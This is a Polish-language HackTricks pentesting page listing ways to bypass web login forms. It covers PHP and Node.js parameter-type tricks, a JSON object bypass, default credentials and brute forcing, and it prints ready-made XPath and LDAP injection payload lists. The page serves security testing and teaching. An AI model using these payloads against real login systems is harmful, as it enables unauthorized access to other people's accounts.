Login Bypass

Reading time: 4 minutes

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks

Ominięcie standardowego logowania

Jeśli znajdziesz stronę logowania, tutaj znajdziesz kilka technik, które możesz spróbować zastosować, aby ją obejść:

  • Sprawdź komentarze wewnątrz strony (przewiń w dół i w prawo?)
  • Sprawdź, czy możesz bezpośrednio uzyskać dostęp do zastrzeżonych stron
  • Sprawdź, aby nie wysyłać parametrów (nie wysyłaj żadnych lub tylko 1)
  • Sprawdź błąd porównania PHP: user[]=a&pwd=b , user=a&pwd[]=b , user[]=a&pwd[]=b
  • Zmień typ zawartości na json i wyślij wartości json (w tym bool true)
  • Jeśli otrzymasz odpowiedź mówiącą, że POST nie jest obsługiwany, możesz spróbować wysłać JSON w ciele, ale z żądaniem GET z Content-Type: application/json
  • Sprawdź potencjalny błąd parsowania nodejs (przeczytaj to): password[password]=1
  • Nodejs przekształci ten ładunek w zapytanie podobne do następującego: SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` ``password=password=1; co sprawia, że bit hasła zawsze jest prawdziwy.
  • Jeśli możesz wysłać obiekt JSON, możesz wysłać "password":{"password": 1}, aby obejść logowanie.
  • Pamiętaj, że aby obejść to logowanie, nadal musisz znać i wysłać ważną nazwę użytkownika.
  • Dodanie opcji "stringifyObjects":true podczas wywoływania mysql.createConnection ostatecznie zablokuje wszystkie nieoczekiwane zachowania, gdy Object jest przekazywany w parametrze.
  • Sprawdź dane logowania:
  • Domyślne dane logowania technologii/platformy używanej
  • Typowe kombinacje (root, admin, hasło, nazwa technologii, domyślny użytkownik z jednym z tych haseł).
  • Stwórz słownik używając Cewl, dodaj domyślną nazwę użytkownika i hasło (jeśli istnieje) i spróbuj przeprowadzić atak brute-force używając wszystkich słów jako nazw użytkowników i haseł
  • Brute-force używając większego słownika (Brute force)

Ominięcie uwierzytelniania SQL Injection

Tu znajdziesz kilka sztuczek, aby obejść logowanie za pomocą SQL injections.

Na następnej stronie znajdziesz niestandardową listę do próby ominięcia logowania za pomocą SQL Injections:

Login bypass List

Ominięcie uwierzytelniania No SQL Injection

Tu znajdziesz kilka sztuczek, aby obejść logowanie za pomocą No SQL Injections.

Ponieważ NoSQL Injections wymaga zmiany wartości parametrów, będziesz musiał je przetestować ręcznie.

Ominięcie uwierzytelniania XPath Injection

Tu znajdziesz kilka sztuczek, aby obejść logowanie za pomocą XPath Injection.

' or '1'='1
' or ''='
' or 1]%00
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
'or string-length(name(.))<10 or'
'or contains(name,'adm') or'
'or contains(.,'adm') or'
'or position()=2 or'
admin' or '
admin' or '1'='2

LDAP Injection obejście uwierzytelniania

Here you can find several tricks to bypass the login via LDAP Injection.

*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|

Remember Me

Jeśli strona ma funkcję "Remember Me", sprawdź, jak jest zaimplementowana i zobacz, czy możesz ją wykorzystać do przejęcia innych kont.

Redirects

Strony zazwyczaj przekierowują użytkowników po zalogowaniu, sprawdź, czy możesz zmienić to przekierowanie, aby spowodować Open Redirect. Może uda ci się ukraść jakieś informacje (kody, ciasteczka...), jeśli przekierujesz użytkownika na swoją stronę.

Other Checks

  • Sprawdź, czy możesz enumerować nazwy użytkowników, wykorzystując funkcję logowania.
  • Sprawdź, czy auto-uzupełnianie jest aktywne w formularzach z hasłem/wrażliwymi informacjami input: <input autocomplete="false">

Automatic Tools

tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks